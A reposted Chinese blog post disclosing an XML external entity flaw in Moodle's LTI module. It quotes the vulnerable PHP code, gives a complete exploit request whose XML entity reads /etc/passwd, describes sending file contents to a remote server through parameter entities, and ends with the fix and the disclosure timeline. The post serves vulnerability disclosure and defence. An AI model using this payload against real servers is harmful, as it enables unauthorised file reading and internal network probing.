最新消息:

Moodle 2.6.x LTI module Local File Inclusion via XXE Attack

PHP代码审计 admin 1494浏览 0评论

0×01,背景:

Moodle(Open-source Learning Platform)是一个开源及自由的电子学习软件平台,是当前全球使用量最大的开源在线教育学习平台。它有一个很有分量的用户群体:根据其2010年1 月的统计,现时有45,721个已注册及查核的网站,为3200万位用户提供约300万个课程。Moodle为一个线上学习系统,为全世界有150余国 70种语言所使用。

0×02,漏洞说明:

Moodle提供了功能强大的外部程序扩展,能够以Moodle网站的相应身份(管理员,教师,学生)登录一些外部第三方的网站或应 用,Moodle提供了OAuth授权功能来实现这一特性。Moodle(TC:Tool Consumer)与第三方外部工具(TP:Tool Provider)在OAuth授权后可以相互以XML格式请求和接受数据,Moodle后端在对XML解析时未限制外部实体的解析,可造成XXE外部实 体攻击,导致本地任意文件读取。

影响版本:1.9.x-2.6.2+(Current the lastest version)

测试环境:CentOS 6.5 x64,Ubuntu 12.04 x86 (PHP 5.3.17)

Found By:pnig0s

0×03,漏洞分析:

问题代码位于\moodle\mod\lti\service.php中:

$rawbody = file_get_contents("php://input");
     
foreach (lti\OAuthUtil::get_headers() as $name => $value) {
    if ($name === 'Authorization') {
        // TODO: Switch to core oauthlib once implemented - MDL-30149
        $oauthparams = lti\OAuthUtil::split_header($value);
     
        $consumerkey = $oauthparams['oauth_consumer_key'];
        break;
    }
}
     
if (empty($consumerkey)) {
    throw new Exception('Consumer key is missing.');
}
     
$sharedsecret = lti_verify_message($consumerkey, lti_get_shared_secrets_by_key($consumerkey), $rawbody);
     
if ($sharedsecret === false) {
    throw new Exception('Message signature not valid');
}
     
$xml = new SimpleXMLElement($rawbody);
     
$body = $xml->imsx_POXBody;
foreach ($body->children() as $child) {
    $messagetype = $child->getName();
}

后端首先使用php://input输入流接收POST提交过来的数据,然后是OAuth授权验证的部分,通过授权后直接使用SimpleXML对接收的POST数据进行解析,XXE问题产生。

这里我自己实现一个恶意的External Tool并在Moodle后台配置好,使用External Toole提交的特定请求是

POST /moodle/mod/lti/service.php HTTP/1.1
Host: 192.168.195.142
Authorization: OAuth realm="",oauth_version="1.0",oauth_nonce="1d61aad07f94ac467f26ea6e97f8bf10",oauth_timestamp="1398653215",oauth_consumer_key="12345",oauth_body_hash="LXfM66F4PqPBpe%2B%2FObswR2BGst8%3D",oauth_signature_method="HMAC-SHA1",oauth_signature="umeaVvaO10mWXbgcQe%2BrDKdnGZU%3D"
Content-Length: 1013
     
<?xml version = "1.0" encoding = "UTF-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<imsx_POXEnvelopeRequest xmlns = "http://www.imsglobal.org/services/ltiv1p1/xsd/imsoms_v1p0">
  <imsx_POXHeader>
    <imsx_POXRequestHeaderInfo>
      <imsx_version>V1.0</imsx_version>
      <imsx_messageIdentifier>&xxe;</imsx_messageIdentifier>
    </imsx_POXRequestHeaderInfo>
  </imsx_POXHeader>
  <imsx_POXBody>
    <replaceResultRequest>
      <resultRecord>
        <sourcedGUID>
          <sourcedId>{"data":{"instanceid":"5","userid":"2","launchid":608337817},"hash":"82c82b413910b098273ceb7f3312885e46f02dafa8f4f590a63a107d10cabd86"}</sourcedId>
        </sourcedGUID>
        <result>
          <resultScore>
            <language>en-us</language>
            <textString>0.95</textString>
          </resultScore>
        </result>
      </resultRecord>
    </replaceResultRequest>
  </imsx_POXBody>
</imsx_POXEnvelopeRequest>

Moodle LTI扩展模块返回了当前服务器的passwd文件内容。

jinglingshu_2014-07-15_16-08-59

对于一些高版本的Linux发行版本不会直接返回内容,可以使用参数型实体将内容发送到指定的远端。

以Moodle官方提供的Demo作为例子,配置好我们实现的External Tool:

jinglingshu_2014-07-15_16-09-011

通过Moodle的LTI模块打开我们的外部工具并通过外部工具提交一个请求到Moodle。

jinglingshu_2014-07-15_16-09-04

Server返回错误信息,不过没关系,查看远端的访问日志,demo服务器的hosts文件内容的Bases64编码格式已经静静的躺在那儿了。

jinglingshu_2014-07-15_16-09-01

对日志里的Base64解码

jinglingshu_2014-07-15_16-09-03

0×04,漏洞影响:

  1. 本地任意文件读取

  2. 端口扫描

  3. 内网探测

0×05,修复建议:

libxml_disable_entity_loader(true)禁止外部实体的解析。

0×06,披露过程:

04/28/2014 —— 发现问题

05/06/2014 —— 提交官方(MDL-45417)

07/10/2014 —— Fix released in 2.4.11, 2.5.7, 2.6.4, 2.7.1

07/11/2014 —— Disclosure

 

 

 

 

转载请注明:jinglingshu的博客 » Moodle 2.6.x LTI module Local File Inclusion via XXE Attack


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址